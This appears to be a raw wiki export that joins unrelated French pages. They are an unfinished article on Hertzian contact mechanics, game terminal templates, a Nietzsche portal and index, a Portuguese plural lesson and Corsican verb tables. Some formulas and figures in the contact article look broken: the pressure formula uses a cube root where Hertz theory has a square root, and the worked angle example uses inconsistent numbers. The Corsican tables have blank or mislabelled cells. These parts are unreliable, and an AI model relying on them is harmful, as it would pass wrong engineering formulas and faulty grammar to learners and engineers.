'''Ne jamais entreprendre un calcul sans en connaître d'abord le résultat !''' La possibilité du contact était-elle évidente ? Que se passerait-il si nous augmentions l'angle de 25° ? Au début, la barre tournerait librement mais bientôt, elle viendrait en contact en deux autres points sur l'anneau. Si nous cherchions à tourner encore, nous provoquerions la perte du contact au point I. Si l'anneau était une vraie quadrique, la fin de la rotation serait marquée par l'apparition d'un contact linéique mais ici, avec un tore, la rotation n'est pas limitée au niveau de la zone de contact mais par des formes extérieures plus contraignantes. [[Image:Exemple de contact 5.png|250px|right]] La surface fictive pourrait peu ou prou ressembler à une petite olive (ce n'est pas la seule reprécentation possible) dont l'équateur aurait pour rayon de courbure R' = 4,42 mm et le méridien 24,66 mm en I. Si cette « olive » est pressée sur un plan, elle y laissera une trace plus ou moins elliptique orientée selon la direction du plan de plus petite courbure. Il nous reste une petite cérémonie à accomplir, trouver l'orientation des axes définitifs qui nous serviront pour la suite du problème. Cette orientation est donnée par un angle <big>&alpha;</big> tel que : {| border="1" cellpadding="5" cellspacing="0" align="center" |- |<math>\tan 2 \alpha = \frac{\Delta_2 - \Delta_1}{\Delta_2 + \Delta_1} \tan \phi \quad (7)</math> |- |} [[Image:Exemple de contact 6.png|250px|right]] Dans notre exemple : <math>\tan 2 \alpha = \frac{0,1 - 0,2333}{0,1 + 0,3333} \tan 65 = - 0,8577 \quad \to \quad \alpha = - 20,31^o</math> Cette fois nous pouvons mettre en place les axes Ix et Iy qui vont nous servir par la suite. L'ellipse dont le grand diamètre est porté par l'axe Ix symbolise la future zone de contact qui va s'établir lorsqu'une charge normale sera appliquée. Le signe de l'angle <big>&alpha;</big> ne doit évidemment pas être négligé car c'est lui qui nous permet d'orienter convenablement l'axe Ix par rapport au sens de l'angle <big>&phi;</big>. Naturellement, si on intervertit les indices 1 et 2 qui désignent les pièces, ce signe change mais le sens de l'angle aussi et le résultat final est conservé. Notons qu'il n'est pas très étonnant de trouver l'axe Ix quelque part dans l'angle aigu formé par les plans de plus faible courbure des deux surfaces et, par rapport à la bissectrice de cet angle, du côté de la surface la plus «accidentée», celle qui présente la plus grande différence entre sa courbure maximale et sa courbure minimale. == Le contact « hertzien » ponctuel == [[Image:Exemple de contact 7.png|250px|right]] Il s'agit maintenant de charger la zone de contact et de voir comment elle va se déformer pour aboutir à une répartition des pressions compatible avec les caractéristiques des matériaux. Nous noterons ici E<sub>1</sub> et E<sub>2</sub> les [[w:fr:module de Young|modules]] d'[[w:fr:Thomas Young|Young]] des matériaux constituant les deux pièces (1) et (2), tandis que &nu;<sub>1</sub> et &nu;<sub>2</sub> sont leurs [[w:fr:coefficient de Poisson|coefficients]] de [[w:fr:Siméon Denis Poisson|Poisson]]. Il est commode de déterminer une fois pour toutes deux valeurs k<sub>1</sub> et k<sub>2</sub> qui sont d'utiles intermédiaires de calcul : <math>k_1=\frac{1-\nu_1^2}{\pi E_1}</math> et <math>k_2=\frac{1-\nu_2^2}{\pi E_2}</math> Les valeurs de k correspondant à divers matériaux sont données dans un tableau en annexe. P sera la charge normale agissant sur le contact. Si ce dernier est linéique, nous considérerons alors la charge par unité de longueur q. La méthode générale utilisée pour cette étude consiste à envisager comment des points tels que M<sub>1</sub> et M<sub>2</sub>, que nous avons utilisés précédemment, peuvent se rapprocher et le cas échéant, venir au contact l'un de l'autre. === L'ellipse de contact === Nous faisons ici l'impasse sur les calculs de Hertz pour n'en présenter que les principaux résultats. * la zone de contact est, conformément aux hypothèses, un petit élément plan de forme elliptique et supportant des pressions qui décroissent à partir du centre, que nous appellerons désormais O, pour s'annuler à la périphérie. * le grand diamètre de cette ellipse, de longueur 2a, est porté par un axe Ox situé dans le plan (P") contenant la courbure minimale de la surface fictive (S) précédemment définie, tandis que le petit diamètre, de longueur 2b est porté par un axe Oy situé dans le plan (P') de plus forte courbure de (S). [[Image:Hertz.png|250px|right]] La pression de contact est répartie selon un demi-ellipsoïde construit sur l'ellipse de contact. Elle atteint au centre sa valeur maximale, dite parfois « pression hertzienne » : {| border="1" cellpadding="5" cellspacing="0" align="center" |- |<math>p_m= \frac{3}{2} \frac{P}{\pi a b} \quad (8)</math> |- |} Nous reconnaissons au passage le produit &pi; a b qui n'est autre que la surface de l'ellipse. En un point quelconque de celle-ci, défini par ses coordonnées x et y, la pression vaut : {| border="1" cellpadding="5" cellspacing="0" align="center" |- |<math>p_{(x,y)} = p_m \sqrt[3]{1-\frac{x^2}{a^2} - \frac{y^2}{b^2}} \quad (9)</math> |- |} Cette pression est bien sûr nulle sur le contour de l'ellipse, qui a pour équation : <math>\frac{x^2}{a^2} + \frac{y^2}{b^2}=1</math> Pour obtenir a et b, il faut calculer l'expression : {| border="1" cellpadding="5" cellspacing="0" align="center" |- |<math>\frac{a}{m} = \frac{b}{n} = \sqrt[3]{\frac{3 \pi}{2}P \frac{k_1 + k_2}{\Sigma}} \quad (10)</math> |- |} ---- <big>'''Fin provisoire de l'article'''</big> ''' à suivre ''' - Désolé, des occupations imprévues m'ont empêché, pour beaucoup plus longtemps que je ne l'imaginais, de rédiger la suite de ce travail. J'espère pouvoir m'y remettre bientôt ... [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 23 avril 2006 à 21:24 (UTC) <big>'''Formulaire des contacts ponctuels'''</big> * <math> C = C' \cos^{2} \theta + C'' \sin^{2} \theta = \frac{C'+C''}{2} + \frac{C'-C''}{2} \cos 2 \theta \quad (1)</math> * <math> C = C' \cos^{2} \theta + C'' \sin^{2} \theta = \frac{C'+C''}{2} + \frac{C'-C''}{2} \cos 2 \theta \quad (2)</math> * <math>C' \ge C'' \ge 0 \quad (3)</math> * <math>\Sigma = C' + C'' = C'_1 + C''_1 + C'_2 + C''_2 = \Sigma_1 + \Sigma_2 \quad (4)</math> * <math>\Delta = C' - C'' = \sqrt{\Delta_1^2 + \Delta_2^2 + 2 \Delta_1 \Delta_2 \cos 2 \phi} \quad (5)</math> * <math>C' = \frac{\Sigma + \Delta}{2}</math> <br> :<math>C'' = \frac{\Sigma - \Delta}{2}</math> <br> :en vérifiant que <math>C' \ge C'' \ge 0 \quad (6)</math> * <math>\tan 2 \alpha = \frac{\Delta_2 - \Delta_1}{\Delta_2 + \Delta_1} \tan \phi \quad (7)</math> * <math>p_m= \frac{3}{2} \frac{P}{\pi a b} \quad (8)</math> * <math>p_{(x,y)} = p_m \sqrt[3]{1-\frac{x^2}{a^2} - \frac{y^2}{b^2}} \quad (9)</math> * <math>\frac{a}{m} = \frac{b}{n} = \sqrt[3]{\frac{3 \pi}{2}P \frac{k_1 + k_2}{\Sigma}} \quad (10)</math> Tribologie - Guidage par glissement 4641 17143 2005-07-21T23:33:15Z Jean-Jacques MILAN 114 Tribologie - Guidage par glissement déplacé vers Tribologie - Guidage par glissement de surfaces: plus précis #redirect [[Tribologie - Guidage par glissement de surfaces]] Modèle:Terminal MarathonJ 1 4644 20072 2005-08-26T17:51:11Z W'rkncacnter 327 {| border="1" cellpadding="0" cellspacing="0" bordercolor="#333333" align="center" | {|width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| Opening Connection to ß.4.5-23 |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|0218 05.10.2337  |} {|width="640" border="0" cellpadding="0" cellspacing="0" |- bgcolor="#000000" |height="204" align="center" valign="bottom"|[[Image:{{{1}}}|306px]] |- bgcolor="#000000" |height="80" style="font-family: Courier;font-size:11px;line-height:12px; color: yellow" align="center" valign="top"|{{{2}}} |} {| width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| CAS.qterm//CyberAcme Systems, Inc. |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|<931.461.60231.14.vt920>  |} |} Modèle:Terminal MarathonJ 2 4645 20071 2005-08-26T16:11:15Z W'rkncacnter 327 {| border="1" cellpadding="0" cellspacing="0" bordercolor="#333333" align="center" |- | {|width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| UESCTerm 802.11 (remote override) |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|0218 05.10.2337  |} {|width="640" border="0" cellpadding="0" cellspacing="0" |- bgcolor="#000000" |width="324" height="284" align="center" valign="top"|[[Image:{{{1}}}|306px]] |height="284" style="font-family: Courier;font-size:11px;line-height:12px; color: yellow" valign="top"|{{{2}}} |} {| width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| PgUp/PgDn/Arrows to Scroll |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|Return/Enter to Acknowledge  |} |} Modèle:Terminal MarathonJ 3 4646 20070 2005-08-26T16:10:15Z W'rkncacnter 327 {| border="1" cellpadding="0" cellspacing="0" bordercolor="#333333" align="center" | {|width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; 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background-color:#FFFFFF; padding:1em;" | <div style="float:left;margin-left:0.7em;margin-right:0.7em"> </div> <div style="margin-top: 0; padding-top: 1px; clear: right;"> <div style="padding-bottom: .8em; margin-top: 0; margin-left: 2em; float: right; font-size: 92%; text-align: center; padding-right: 3px; line-height: 1.5;"> </div> <div style="clear:both;margin:0 3px .8em 3px"> <center>[[:w:Catégorie:Bibliographie nietzschéenne|Bibliographie]] | [[:w:catégorie:Biographie de Nietzsche|Biographie]] | [[:Catégorie:Commentaire sur Nietzsche|Commentaires]] | [[:w:catégorie:Concept nietzschéen|Concepts]] | [[:Catégorie:Essai sur Nietzsche|Essai]] | [[:Commons:category:Friedrich Nietzsche|Illustrations]] | [[w:Liens relatifs à Nietzsche|Liens]] | [[:w:Catégorie:œuvre de Nietzsche|Œuvres]] | [[:Catégorie:Recherche|Recherche]]</center> </div> {| style="width:100%; border-top: 1px solid black; border-bottom: 1px solid black;" |<div style="font-size: 285%;"><span style="color: #999999;">'''FRIEDRICH''' </span><span style="color: #444444;"> '''NIETZSCHE'''</span> |style="width:30%; padding-left: 10px; padding-top: 15px;"|[[Image:Nietzsche.jpg|90px|right]] </div> |} {| |width="50%" valign="top" | {| width="100%" border="0" cellspacing="0" cellpadding="5" | width="10%" | [[Image:Oeuvre.png|47px]] | width="90%" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: x-small; border-top: 1px dashed #AAAAAA;" | '''[[:w:Catégorie:œuvre de Nietzsche|Œuvres]]'''<br/> [[w:Friedrich Nietzsche (bibliographie)|Liste des œuvres de Nietzsche]] - [[s:Le Cas Wagner|Le cas Wagner]] - [[s:Ecce Homo|Ecce Homo]] - [[s:de:Friedrich Nietzsche|Allemand]] |- | [[Image:Books-aj.svg aj ashton 01.png|54px]] | style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: x-small; border-top: 1px dashed #AAAAAA;" | '''[[:Friedrich Nietzsche/Rechercher|Rechercher]]'''<br/> [[Recherche|Listes de recherche]] - [[:catégorie:Analyse textuelle|Analyses textuelles]] - [[:catégorie:Index Nietzsche|Index]] - [[Vocabulaire]] |- | [[Image:Nietzsche3l philolog-gesell-leipzig.jpg|60px]] | style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: x-small; border-top: 1px dashed #AAAAAA;" | '''[[:w:Catégorie:Bibliographie nietzschéenne|Bibliographie]]'''<br/> [[w:Friedrich Nietzsche (biographie)|Vie]] - [[w:Chronologie nietzschéenne|Chronologie nietzschéenne]] |} | width="50%" valign="top" | {| width="100%" border="0" cellspacing="0" cellpadding="5" | width="10%" | [[Image:Articles.jpg]] | width="90%" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: x-small; border-top: 1px dashed #AAAAAA;" | '''[[:Catégorie:Essai|Articles et études]]'''<br/> [[Friedrich Nietzsche]] - [[s:Note sur Nietzsche et Lange : « le retour éternel »|Note sur Nietzsche et Lange : « le retour éternel »]] - [[s:La morale de Nietzsche|La morale de Nietzsche]] |- | [[Image:Justice.gif|42px]] | style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: x-small; border-top: 1px dashed #AAAAAA;" | '''[[:catégorie:Commentaire sur Nietzsche|Commentaires]]'''<br/> [[Humain, trop humain]] - [[Crépuscule des idoles]] |- | [[Image:Liens.png|60px]] | style="font-family: Verdana, Arial, Helvetica, sans-serif; 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Il faut essayer de réduire au maximum les liens en rouge. [[catégorie:Philosophe|Nietzsche]] Image:Articles.jpg 4648 17198 2005-07-22T10:45:40Z Marc 66 Domaine public. Domaine public. Image:Justice.gif 4649 17199 2005-07-22T10:45:52Z Marc 66 Domaine public. Domaine public. Image:Liens.png 4651 17201 2005-07-22T10:46:04Z Marc 66 Domaine public. Domaine public. Image:Oeuvre.png 4652 17202 2005-07-22T10:46:14Z Marc 66 Domaine public. Domaine public. Image:Nietzsche.jpg 4653 17203 2005-07-22T10:46:37Z Marc 66 Domaine public. Domaine public. Le Cas Wagner, index 4654 21632 2005-09-18T09:09:38Z Marc 66 [[Le cas Wagner, index]] déplacé vers [[Le Cas Wagner, index]] {{ébauche}} {{Modèle:Navig|Le cas Wagner, index|s:de:Der Fall Wagner|s:Le cas Wagner}} {{SommaireCompact}} == A == *'''abîme''' (2) ** § 5 : ''- Car le fait de ne pas se défendre contre lui est déjà un symptôme de décadence. L'instinct est atrophié. Ce que l'on devrait craindre c'est précisément ce qui attire. On porte aux lèvres ce qui mène encore plus vite à l''''abîme'''.'' ** Second post-scriptum : ''Si le renom d'avoir ruiné la musique reste à Wagner, comme Bernini garde celui d'avoir ruiné la sculpture, ce n'est pas, à vrai dire, la faute à Wagner. Il n'a fait qu'accélérer le mouvement, - il est vrai, d'une manière telle que l'on s'arrête avec effroi devant cet '''abîme''', devant cet écroulement soudain.'' *'''abstraction''' (1) ** § 1 : ''- Le ciel gris de l''''abstraction''' semble sillonné par la foudre ; la lumière devient assez intense pour saisir les « filigranes » des choses ; les grands problèmes sont assez proches pour être saisis ; nous embrassons le monde comme si nous étions au haut d'une montagne. - Je viens justement de définir le pathos philosophique.'' == V == *[[Volonté de puissance]] (1) **Épilogue : ''- Dans la sphère plus étroite de ce que l'on appelle les valeurs morales on ne saurait trouver un antagonisme plus fort qu'entre la morale des Maîtres et la morale des évaluations chrétiennes : cette dernière a grandi sur un terrain absolument morbide (- les ''Evangiles'' nous présentent exactement les mêmes types physiologiques que dépeignent les romans de Dostoïewski) ; la morale des Maîtres au contraire (« romaine », « païenne », « clas-sique »,« Renaissance») est le symbole de la constitution parfaite, de la vie ascendante, de la '''volonté de puissance''' comme principe de vie.'' [[catégorie:Index Nietzsche|Cas]] Modèle:Navig 4655 17888 2005-07-29T10:35:44Z 83.195.33.77 <div style="float: right; width: 250px; margin: 0em 0em 1em 1.5em"> {| border="2" cellpadding="4" cellspacing="0" style="margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;" width="100%" ! colspan="2" style="background-color: #DDDDFF"|<center>[[Recherche]] |- | width="50%"| &lt;&lt;&lt;'''[[:Catégorie:Index Nietzsche|Index]]'''<br /> [[{{{1}}}]] | width="50%" align="right"| '''Allemand'''&gt;&gt;&gt;<br /> [[{{{2}}}]] |- | colspan="2"| [[Image:Books-aj.svg aj ashton 01.png|left|50px|Wiktionary-logo]] '''Œuvre'''<br /> [[{{{3}}}]] |} </div> Enseignement du portugais: plural 4656 24476 2005-10-28T17:57:49Z Erasmus 194 Pour la plupart, il faut ajouter un 's' sur un mot pour le faire pluriel comme en français: observez ces exemples : La table - '''A mesa''' Les tables - '''As mesas''' Mais, contrairement au français, le 's' se prononce. Au Portugal, le 's' se prononce comme le "ch" dans "chambre" à la fin d'un mot. Au Brésil, le 's' se prononce comme un 's' regulier. EXCEPTION : Quand un mot termine en 'm' le pluriel est différent : L'homme - '''O homem''' Les hommes - '''Os homens'''. Au pluriel, un 'm' devient 'ns', comme avec l'article indefini : Un - '''Um''' Des - '''Uns''' Catégorie:Commentaire sur Nietzsche 4657 17232 2005-07-22T13:22:10Z Marc 66 {{Nietzsche1}} [[Catégorie:Commentaire philosophique]][[catégorie:Histoire de la philosophie]] Catégorie:Histoire de la philosophie 4658 17220 2005-07-22T12:07:51Z Marc 66 [[catégorie:Philosophie]] Catégorie:Index Nietzsche 4660 17234 2005-07-22T13:26:52Z Marc 66 {{Nietzsche1}} [[Catégorie:Recherche nietzschéenne]] Modèle:Nietzsche1 4661 17230 2005-07-22T13:19:03Z Marc 66 <br clear="all"> <div class="alerte" id="style1"> {|border="0" width="100%" style="border: 1px solid #77AAAA;; background-color: #AACCCC" |[[Image:Nietzsche187a.jpg|28px|]] |'''[[w:fr:Portail Friedrich Nietzsche|Portail Nietzsche]]''' - Accédez facilement à tous les documents relatifs à [[w:fr:Friedrich Nietzsche|Friedrich Nietzsche]]. |} </div> Catégorie:Recherche nietzschéenne 4662 17235 2005-07-22T13:27:02Z Marc 66 {{Nietzsche1}} Enseignement du corse:variété sartenaise 4663 35037 2006-02-27T16:01:16Z Guillaumito 46 {{Corse}} {{Corse}} '''La variété sartenaise de la langue corse''' == Les articles == * masculin singulier: '''u''' : le * féminin singulier: '''a''' : la * masculin pluriel: '''i''' : les * féminin pluriel: '''i''' : les == Les verbes == On peut distinguer trois groupes de verbes: * les verbes du premier groupe qui se terminent par -'''à''' * les verbes du premier groupe qui se terminent par -'''à''' et se conjuguent en -eghj * les verbes du second groupe qui se terminent par -'''a''' * les verbes du troisième groupe qui se terminent par -'''iscia''' {| |- bgcolor="#abcdef" | premier groupe || premier groupe (eghj) || second groupe || troisème groupe |- bgcolor="#abcdef" | '''parlà''' (parler) || '''zifulà''' (siffler) || '''venda''' (vendre) || '''finiscia''' (finir) |- bgcolor="#abcdef" | '''mangnà''' (manger) || '''studià''' (étudier) || '''renda''' (rendre) || '''diminuiscia''' (diminuer) |- bgcolor="#abcdef" | '''cascà''' (tomber) || '''---''' () || '''scriva''' (écrire) || '''capiscia''' (comprendre) |} === '''essa''' (être) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''essa''' (être) || '''essa statu''' (avoir été) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''essendu''' (étant) || '''statu''' (été) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' () |- bgcolor="#abcdef" | '''socu''' (je suis) || '''era''' (j'étais) || '''saraghju''' (je serai) || '''socu statu''' (j'ai été) || '''era statu''' (j'avais été) || '''fù''' (je fus) |- bgcolor="#abcdef" | '''sè''' (tu es) || '''eri''' (tu étais) || '''sarè''' (tu seras) || '''sè statu''' (tu as été) || '''eri statu''' (tu avais été) || '''fusti''' (tu fus) |- bgcolor="#abcdef" | '''hè''' (il est) || '''era''' (il était) || '''sarà''' (il sera) || '''hè statu''' (il a été) || '''era statu''' (il avait été) || '''fù''' (il fut) |- bgcolor="#abcdef" | '''semu''' (nous sommes) || '''èrami''' (nous étions) || '''saremu''' (nous serons) || '''semu stati''' (nous avons été) || '''èrami stati''' (nous avions été) || '''fumi''' (nous fûmes) |- bgcolor="#abcdef" | '''seti''' (vous êtes) || '''èrati''' (vous étiez) || '''sareti''' (vous serez) || '''seti stati''' (vous avez été) || '''erati stati''' (vous aviez été) || '''futi''' (vous fûtes) |- bgcolor="#abcdef" | '''sò''' (ils sont) || '''èrani''' (ils étaient) || '''sarani''' (ils seront) || '''sò stati''' (ils sont été) || '''erani stati''' (ils avaient été) || '''funi''' (ils furent) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''saria''' (je serais) || ''' saria statu''' (j'aurais été) |- bgcolor="#abcdef" |'''sarii''' (tu serais) || '''sarii statu''' (tu aurais été) |- bgcolor="#abcdef" |'''saria''' (il serait) || '''saria statu''' (il aurait été) |- bgcolor="#abcdef" |'''sarìami''' (nous serions) || '''sarìami stati''' (nous aurions été) |- bgcolor="#abcdef" |'''sarìati''' (vous seriez) || '''sarìati stati''' (vous auriez été) |- bgcolor="#abcdef" |'''sarìani''' (ils seraient) || '''sarìani stati''' (ils auraient été) |} {|- |- bgcolor="lightgreen" |'''sughjuntivu''' (subjonctif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''ch'è sii''' (que je sois) || '''ch'è fussi''' (que je fusse) || '''''' (que j'aie été) |- bgcolor="#abcdef" | '''ch'è tù sii''' (que tu sois) || '''ch'è tù fussi''' (que tu fusses) || '''''' (que tu aies été) |- bgcolor="#abcdef" | '''ch'iddu sii''' (qu'il soit) || '''ch'iddu fussi''' (qu'il fût) || '''''' (qu'il ait été) |- bgcolor="#abcdef" | '''ch'è no sìimi''' (que nous soyons) || '''ch'è no fùssimi''' (que nous fumes) || '''''' (que nous ayons été) |- bgcolor="#abcdef" | '''ch'è vo sìiti''' (que vous soyez) || '''ch'è vo fùssiti''' (que vous fussiez) || '''ch'è''' (que vous ayez été) |- bgcolor="#abcdef" | '''ch'iddi sìini''' (qu'ils soient) || '''ch'iddi fùssini''' (qu'ils fussent) || '''ch'è''' (qu'ils aient été) |} === '''avè''' (avoir) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''avè''' (avoir) || '''avè avutu''' (avoir eu) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''essendu''' (ayant) || '''avutu''' (eu) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' () |- bgcolor="#abcdef" |'''aghju''' (j'ai) || '''avia''' (j'avais) || '''avaraghju''' (j'aurai) || '''aghju avutu''' (j'ai eu) || '''avia avutu''' (j'avais eu) |- bgcolor="#abcdef" |'''ha''' (tu as) || '''avii''' (tu avais) || '''avarè''' (tu auras) || '''ha avutu''' (tu as eu) || '''avii avutu''' (tu avais eu) |- bgcolor="#abcdef" |'''hà''' (il a) || '''avia''' (il avait) || '''avarà''' (il aura) || '''hà avutu''' (il a eu) || '''avia avutu''' (il avait eu) |- bgcolor="#abcdef" |'''emu''', '''avemu''' (nous avons) || '''avìami''' (nous avions) || '''avaremu''' (nous aurons) || '''avemu avutu''' (nous avons eu) || '''avìami avutu''' (nous avions eu) |- bgcolor="#abcdef" |'''eti''', '''aveti''' (vous avez) || '''avìati''' (vous aviez) || '''avareti''' (vous aurez) || '''aveti avutu''' (vous avez eu) || '''avìati avutu''' (vous aviez eu) |- bgcolor="#abcdef" |'''ani''' (ils ont) || '''avìani''' (ils avaient) || '''avarani''' (ils auront) || '''ani avutu''' (ils ont eu) || '''avìani avutu''' (ils avaient eu) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''avaria''' (j'aurais) || ''' avaria avutu''' (j'aurais eu) |- bgcolor="#abcdef" |'''avarii''' (tu aurais) || '''avutu''' (tu aurais eu) |- bgcolor="#abcdef" |'''avaria''' (il aurait) || '''avaria avutu''' (il aurait eu) |- bgcolor="#abcdef" |'''avarìami''' (nous aurions) || '''avarìami avutu''' (nous aurions eu) |- bgcolor="#abcdef" |'''avarìati''' (vous auriez) || '''avarìati avutu''' (vous auriez eu) |- bgcolor="#abcdef" |'''avarìani''' (ils auraient) || '''avarìani avutu''' (ils auraient eu) |} {|- |- bgcolor="lightgreen" |'''sughjuntivu''' (subjonctif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''ch'é aghji''' (que j'aie) || '''ch'é avissi''' (que j'eusse) || '''chè''' (que j'aie eu) |- bgcolor="#abcdef" | '''chè tù aghji''' (que tu aies) || '''chè tù avissi''' (que tu eusses) || '''chè''' (que tu aies eu) |- bgcolor="#abcdef" | '''ch'iddu aghji''' (qu'il ait) || '''ch'iddu avissi''' (qu'il eût) || '''chè''' (qu'il ait eu) |- bgcolor="#abcdef" | '''chè no àghjimi''' (que nous ayons) || '''chè no avìssimi''' (que nous eussions) || '''chè''' (que nous ayons eu) |- bgcolor="#abcdef" | '''chè vo àghjiti''' (que vous ayez) || '''chè vo avìssiti''' (que vous eussiez) || '''chè''' (que vous ayez eu) |- bgcolor="#abcdef" | '''ch'iddi àghjini''' (qu'ils aient) || '''ch'iddi avìssini''' (qu'ils eussent) || '''chè''' (qu'ils aient eu) |} === '''parlà''' (parler) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''parlà''' (parler) || '''avè parlatu''' (avoir parlé) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''parlendu''' (parlant) || '''parlatu''' (parlé) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' () |- bgcolor="#abcdef" |'''parlu''' (je parle) || '''parlaia''' (je parlais) || '''parlaraghju''' (je parlerai) || '''aghju parlatu''' (j'ai parlé) || '''avia parlatu''' (j'avais parlé) || '''parleti''' (je parlai) |- bgcolor="#abcdef" |'''parli''' (tu parles) || '''parlaii''' (tu parlais) || '''parlarè''' (tu parleras) || '''ha parlatu''' (tu as parlé) || '''avii parlatu''' (tu avais parlé) || '''parlesti''' (tu parlas) |- bgcolor="#abcdef" |'''parla''' (il parle) || '''parlaia''' (il parlait) || '''parlarà''' (il parlera) || '''hà parlatu''' (il a parlé) || '''avia parlatu''' (il avait parlé) || '''parleti''' (il parla) |- bgcolor="#abcdef" |'''parlemu''' (nous parlons) || '''parlàiami''' (nous parlions) || '''parlaremu''' (nous parlerons) || '''avemu parlatu''' (nous avons parlé) || '''aviami parlatu''' (nous avions parlé) || '''parlètimi''' (nous parlâmes) |- bgcolor="#abcdef" |'''parleti''' (vous parlez) || '''parlàiati''' (vous parliez) || '''parlareti''' (vous parlerez) || '''aveti parlatu''' (vous avez parlé) || '''aviati parlatu''' (vous aviez parlé) || '''parlètiti''' (vous parlâtes) |- bgcolor="#abcdef" |'''parlani''' (ils parlent) || '''parlàiani''' (ils parlaient) || '''parlarani''' (ils parleront) || '''ani parlatu''' (ils ont parlé) || '''aviani parlatu''' (ils avaient parlé) || '''parlètini''' (ils parlèrent) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''parlaria''' (je parlerais) || '''avaria parlatu''' (j'aurais parlé) |- bgcolor="#abcdef" |'''parlarii''' (tu parlerais) || '''avarii parlatu''' (tu aurais parlé) |- bgcolor="#abcdef" |'''parlaria''' (il parlerait) || '''avaria parlatu''' (il aurait parlé) |- bgcolor="#abcdef" |'''parlarìami''' (nous parlerions) || '''avarìami parlatu''' (nous aurions parlé) |- bgcolor="#abcdef" |'''parlarìati''' (vous parleriez) || '''avarìati parlatu''' (vous auriez parlé) |- bgcolor="#abcdef" |'''parlarìani''' (ils parleraient) || '''avarìani parlatu''' (ils auraient parlé) |} {|- |- bgcolor="lightgreen" |'''sughjuntivu''' (subjonctif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''ch'é parli''' (que je parle) || '''chè parlessi''' (que je parlasse) || '''chè''' (que j'aie parlé) |- bgcolor="#abcdef" | '''chè tù parli''' (que tu parles) || '''chè tù parlessi''' (que tu parlasses) || '''chè''' (que tu aies parlé) |- bgcolor="#abcdef" | '''ch'iddu parli''' (qu'il parle) || '''ch'iddu parlessi''' (qu'il parlasse) || '''chè''' (qu'il ait parlé) |- bgcolor="#abcdef" | '''chè no pàrlimi''' (que nous parlions) || '''chè no parlèssimi''' (que nous parlassions) || '''chè''' (que nous ayons parlé) |- bgcolor="#abcdef" | '''chè vo pàrliti''' (que vous parliez) || '''chè vo parlèssiti''' (que vous parlassiez) || '''chè''' (que vous ayez parlé) |- bgcolor="#abcdef" | '''ch'iddi pàrlini''' (qu'ils parlent) || '''ch'iddi parlèssini''' (qu'ils parlassent) || '''chè''' (qu'ils aient parlé) |} === zifulà (siffler) === {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" 